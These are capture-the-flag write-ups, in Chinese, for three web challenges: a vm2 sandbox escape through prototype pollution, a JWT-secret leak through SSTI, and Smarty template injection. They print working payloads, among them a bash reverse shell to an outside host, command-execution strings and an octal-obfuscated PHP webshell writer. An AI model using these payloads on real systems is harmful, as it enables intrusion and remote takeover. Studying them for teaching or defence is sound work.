---

[HZNUCTF 2023 final]eznode

考点：vm2沙箱逃逸、原型链污染

打开题目，提示找找源码

直接访问./app.js得到

const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}


app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});

app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

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引用了vm2，有JSON.parse解析，并且存在merge方法，clone调用了merge，存在原型链污染漏洞
如果if语句为真，调用backdoor方法new VM().run({}.shellcode); 可以利用原型链污染到shellcode，进而rce

payload如下

{
    "shit":"1",
    "__proto__": {
        "shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync(\"bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'\").toString();"
    }
}
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postmanPOST发送即可
反弹shell成功，得到flag

[MoeCTF 2021]地狱通讯-改

考点：JWT解密、ssti

源码如下

from flask import Flask, render_template, request, session, redirect, make_response
from secret import secret, headers, User
import datetime
import jwt

app = Flask(__name__)


@app.route("/", methods=['GET', 'POST'])
def index():
    f = open("app.py", "r")
    ctx = f.read()
    f.close()
    res = make_response(ctx)
    name = request.args.get('name') or ''
    if 'admin' in name or name == '':
        return res
    payload = {
        "name": name,
    }
    token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
    res.set_cookie('token', token)
    return res


@app.route('/hello', methods=['GET', 'POST'])
def hello():
    token = request.cookies.get('token')
    if not token:
        return redirect('/', 302)
    try:
        name = jwt.decode(token, secret, algorithms=['HS256'])['name']
    except jwt.exceptions.InvalidSignatureError as e:
        return "Invalid token"
    if name != "admin":
        user = User(name)
        flag = request.args.get('flag') or ''
        message = "Hello {0}, your flag is" + flag
        return message.format(user)
    else:
        return render_template('flag.html', name=name)


if __name__ == "__main__":
    app.run()
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分析一下，/路由下接收name参数，如果存在且值不为admin，将输出JWT加密的token值；/hello路由接收参数token，然后进行解密，如果为admin返回flag

首先第一步获取token值，访问/hello
然后要找到jwt解密要的密钥
我们利用ssti获取

/hello?flag={0.__class__.__init__.__globals__}
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然后把密钥放到我们解密网站，验证成功，我们直接修改为admin

访问得到flag

[红明谷CTF 2022] Smarty Calculator

考点：Smarty模板注入，CVE-2021-26120

扫一下目录，发现有源码泄露
看下源码，发现是Smarty模板

    
    



    
Smarty calculator


    

        
        

        
    



php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);

function waf($data){
  $pattern = "php|\<|flag|\?";
  $vpattern = explode("|", $pattern);
  foreach ($vpattern as $value) {
        if (preg_match("/$value/", $data)) {
		  echo("
Calculator don  not like U

");
          die();
        }
    }
    return $data;
}

if(isset($_POST['data'])){
  if(isset($_COOKIE['login'])) {
      $data = waf($_POST['data']);
      echo "
Only smarty people can use calculators:

";
      $smarty->display("string:" . $data);
  }else{
      echo "";
  }
}
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有waf过滤，然后判断cookie
我们试试注入语句，发现成功

由于我们在/Smarty/Smarty.class.php知道该版本

方法一 CVE-2021-26120

直接去网上找相关漏洞，发现是CVE-2021-26120（说是此版本修复但也不知道为啥能用）
然后去GitHub上下载该版本的源码对比一下，找到不同的地方
也就是sysplugins文件夹下的smarty_internal_compile_function.php
源码中的正则匹配

if (!preg_match('/^[a-zA-Z0-9_\x80-\xff]+$/', $_name))
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而题目中的正则匹配

if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name))
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可以发现变成!，后面的(.*)+中，.匹配除了换行符以外的所有字符，*匹配0次或者多次，+匹配一次或者多次，我们可以使用多次换行绕过

该漏洞的poc
修改一下即可得到flag

data={function name='rce(){};system("cat /var/www/f*");function%0A%0A'}{/function}
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方法二 CVE-2021-29454

data={$poc="poc"}{math equation="(\"\\163\\171\\163\\164\\145\\155\")(\"\\143\\141\\164\\40\\57\\166\\141\\162\\57\\167\\167\\167\\57\\146\\52\")"}
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方法三 写马蚁剑连接

也是利用八进制实现绕过

data={$poc="poc"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\61\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\120\\117\\123\\124\\133\\61\\135\\51\\73\\77\\76\")"}
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